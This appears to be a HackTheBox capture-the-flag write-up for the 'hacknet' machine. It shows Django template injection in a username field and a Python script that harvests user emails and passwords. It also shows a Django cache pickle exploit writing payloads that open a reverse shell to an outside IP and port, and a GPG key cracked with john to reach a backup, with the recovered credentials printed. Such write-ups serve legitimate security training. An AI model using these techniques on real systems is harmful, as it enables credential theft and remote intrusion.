HTB hacknet

Recon

Foothold

Discovered the website is built with Python. The framework is Django.

Could consider SSTI Server Side Template Injection.

Triggering a like http://hacknet.htb/like/10 revealed the avatar.

Opening http://hacknet.htb/likes/10 and viewing the source code revealed our username.

1. Does Not Execute Python
   • Writing {{7*7}}, {{os.environ}}, {{().__class__}} will not be executed.
   • DTL only parses variables that exist in the context, without arithmetic or system call capabilities.
2. Can Only Render Context Variables
   • For example, {{ user }}, {{ request }}, {{ settings.DEBUG }}.
   • An attacker can only see the values of variables passed into the template context.
3. True SSTI Requires
   • Jinja2 or other template engines that allow executing Python expressions.
   • Under pure DTL, you can only leak variable contents, not execute commands, access the system environment, or anything outside the database.

So, change the username to {{ users }} and discover it’s a user list.

Next, modify the name to: {{ users.values }}

import re  
import requests  
import html  

url = "http://hacknet.htb"  
headers = {  
    'Cookie': "csrftoken=uv50VFGcUZz15IDt9kEWCUa7RrdiTX4f; sessionid=zsb8y28d8wblc60iukbnf188j2uj1w9w"  
}  

all_users = set()

for i in range(1, 31):  
    # Like  
    requests.get(f"{url}/like/{i}", headers=headers)  

    # Get the likes list  
    text = requests.get(f"{url}/likes/{i}", headers=headers).text  

    # Find the last <img> title and unescape it  
    img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)  
    if not img_titles:  
        continue  
    last_title = html.unescape(img_titles[-1])  

    # If there's no QuerySet, like once more  
    if "<QuerySet" not in last_title:  
        requests.get(f"{url}/like/{i}", headers=headers)  
        text = requests.get(f"{url}/likes/{i}", headers=headers).text  
        img_titles = re.findall(r'<img [^>]*title="([^"]*)"', text)  
        if img_titles:  
            last_title = html.unescape(img_titles[-1])  

    # Separately match emails and passwords  
    emails = re.findall(r"'email': '([^']*)'", last_title)  
    passwords = re.findall(r"'password': '([^']*)'", last_title)  

    # Email prefix + password
    for email, p in zip(emails, passwords):  
        username = email.split('@')[0]  # Take the email prefix  
        all_users.add(f"{username}:{p}")  

# Output deduplicated username:password
for item in all_users:  
    print(item)

Grabbing credentials.

mikey:mYd4rks1dEisH3re

After checking the /var directory, found Django’s cache directory is writable.

Referring to this article yields user sandy.

mikey@hacknet:~$ python3 djangoFBCacheRCE.py
Enter Django cache directory path: /var/tmp/django_cache/^H
[!] /var/tmp/django_cache not found. Enter a valid path
Enter Django cache directory path: /var/tmp/django_cache/
Using cache directory: /var/tmp/django_cache/

Enter host IP address: 10.10.16.55
Enter listening port: 4444
Payload written to 1f0acfe7480a469402f1852f8313db86.djcache.
Payload written to 90dbab8f3b1e54369abdeb4ba1efc106.djcache.

Total files that may be unpickled: 2
Trigger payload by accessing the vulnerable endpoint again.

PrivEsc

Discovered the private key.

Discovered GPG-encrypted SQL file.

With the private key and its passphrase, we can decrypt those website backup files.

Cracking the private key.

Save armored_key.asc to a local file password.txt.

gpg2john password.txt >>hash

john hash —wordlist=/usr/share/wordlists/rockyou.txt

Get sandy:sweetheart.

Cracking the GPG encrypted file.

# 1. Import the private key (you will be prompted for the passphrase you just cracked)
gpg --import armored_key.asc

# 2. Decrypt the file using the imported private key
gpg -d backup_file.gpg > backup_file.sql

root:h4ck3rs4re3veRywh3re99